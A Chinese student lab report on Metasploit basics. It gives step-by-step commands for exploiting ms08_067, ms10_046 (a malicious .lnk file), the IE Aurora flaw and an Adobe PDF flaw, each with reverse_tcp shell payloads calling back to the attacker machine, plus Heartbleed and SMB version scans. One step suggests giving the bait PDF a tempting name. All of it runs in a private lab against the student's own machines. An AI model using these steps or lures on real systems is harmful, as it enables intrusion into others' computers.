20155339 Exp5 MSF基础应用

基础问题回答

用自己的话解释什么是exploit,payload,encode.
答：
exploit是通过自己选择的漏洞和载荷进行攻击的一个过程。
payload是一段载荷代码，通过这段代码来运行漏洞程序进行对靶机的攻击。
encode是对攻击代码进行编码，保护其能正常运行并且改变其特征码。

实践总结与体会

这次的实践比起前面来说比较实际，但是也有很多限制条件，比如不是所有的系统都可以被攻击。

一个主动攻击实践--ms08_067漏洞

调用该模块：use exploit/windows/smb/ms08_067_netapi并且查看可以使用的载荷show payloads
设置payloadset payload generic/shell_reverse_tcp。
设置回连的IPset LHOST 192.168.224.142。
设置攻击的端口号set LPORT 5339。
设置靶机的IPset RHOST 192.168.224.144。
查看有哪些靶机类型show targets。
在这里我先选择最简单的0试试set target 0。
成功攻击我的靶机，使用一个ipconfig命令来进行验证。

ms10_046_shortcut_icon_dllloader漏洞

学习了老师提供的漏洞，自己查看并且选择了smb里的别的漏洞，我选择了下面的漏洞。
查看该模块info windows/smb/ms10_046_shortcut_icon_dllloader可以看到它可以攻击的靶机类型以及需要设置的参数。
同样调用该模块：windows/smb/ms10_046_shortcut_icon_dllloader。
设置payload，这里我选择了meterpreter进行tcp反向回连set payload windows/meterpreter/reverse_tcp。
设置回连的IPset LHOST 192.168.224.142。
设置攻击的端口号set LPORT 5339。
设置本地即Kali的IPset SRVHOSTS 192.168.224.144。
查看生成的文件名set FILENAME 20155339.lnk。
exploit会生成一个.lnk文件，将其拷至靶机，并点击运行，查看当前sessions，然后sessions -i idnum就可以观察到攻击机就会看到获得了靶机的shell，使用ipconfig命令来查看是不是靶机的IP，正确。

一个针对浏览器的攻击-ms10_002_aurora

尝试了很多很多很多很多，很多很多很多很多次的失败之后，终于有一个可以用了，真的太不容易了。
查看一下该模块info exploit/windows/browser/ms10_002_aurora，可以看出适合所有的Windows的所有版本的IE，以及需要设置的参数。
设置相关参数:
- 设置载荷set payload windows/meterpreter/reverse_tcp；
- 设置模块的参数本地IP即Kali的IPset SRVHOST 192.168.224.142；
- 设置回连的IPset LHOST 192.168.224.142；
- 设置端口set LPORT 5339；
- exploit这时候出现下图所示问题，这是端口号被占用，只需要找到占用端口的进程号，然后kill掉它就可以了；

再次尝试exploit，可以看到回连成功，并且可以看到创建的会话ID号为9，运行该会话sessions -i 9，成功获得靶机的shell。

一个针对客户端的攻击——adobe_toolbutton

选择漏洞，可以到/usr/share/metasploit-framework/modules/exploits/windows/fileformat目录下进行选择。
尝试了好多，自己的靶机也出现如下问题，这个问题可以通过修改注册表的键值或者选择打开方式来解决。
但是一直无论选择哪个都处于下图所示状态。
换了一台靶机，再次尝试终于成功了。
最后我选择的是adobe_toolbutton，首先查看其模块信息info windows/fileformat/adobe_toolbutton
该模块需要设置的参数只有文件名称，使用该模块use windows/fileformat/adobe_toolbutton选择载荷set payload windows/meterpreter/reverse_tcp，设置载荷需要的参数:set LHOST 192.168.224.142、设置端口set LPORT 5339，exploit，设置我的文件名set FILENAME 20155339.pdf文件名可以设的有诱惑性一些，比如毕业晚会安排，exploit会生成我的PDF文档并且显示其路径，按照路径找到该文件夹或者用cp复制到自己实验的文件夹下，注意按路径找的时候需要将隐藏的文件夹设置为可见模，将该PDF文档拷至我的靶机。
攻击机开启监听use exploit/multi/handler、set LHOST 192.168.224.142、set LPORT 5339，靶机上双击我的PDF，攻击机连接成功，测试一下ipconfig命令。

辅助模块——openssl_heartbleed、smb_version

openssl_heartbleed

首先对漏洞进行选择，最后选择了openssl的heartbleed漏洞，首先OpenSSL是非常耳熟能详的开源的SSL，数据加密协议代码其中的漏洞的确是让人害怕。OpenSSL Heartbleed模块存在一个BUG，当攻击者构造一个特殊的数据包，满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出，该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长达64K的数据。
首先查看一下该模块：info scanner/ssl/openssl_heartbleed。
使用该模块:use scanner/ssl/openssl_heartbleed
设置相关参数：set RHOSTS 192.168.224.144，此处我没有设置IP段的范围直接确定了我的靶机；设置线程数set THREADS 50；其他参数我选择了默认值，run。

运行成功但是我的靶机应该是没有使用OpenSSL的服务，这类可以选择下载并且安装OpenSSL，考虑了我的计算机可能会出现的非主流问题，这类就不花大的时间安装配置它了。尝试一下更多的IP，set RHOSTS 192.168.224.0-192.168.224.0,exploit。
依旧是运行成功，没有发现开启该功能的主机，进行别的尝试。

smb_version

使用该模块use auxiliary/scanner/smb/smb_version。
查看它需要什么参数show options。
设置靶机的IP范围set RHOSTS 192.168.224.144，设置线程数set THREADS 100，exploit，成功，可以看到我们的靶机的型号。
再开启我的另一个XP客户机，修改范围set RHOSTS 192.168.224.0-149，exploit。
可以看到我的两个靶机的版本号。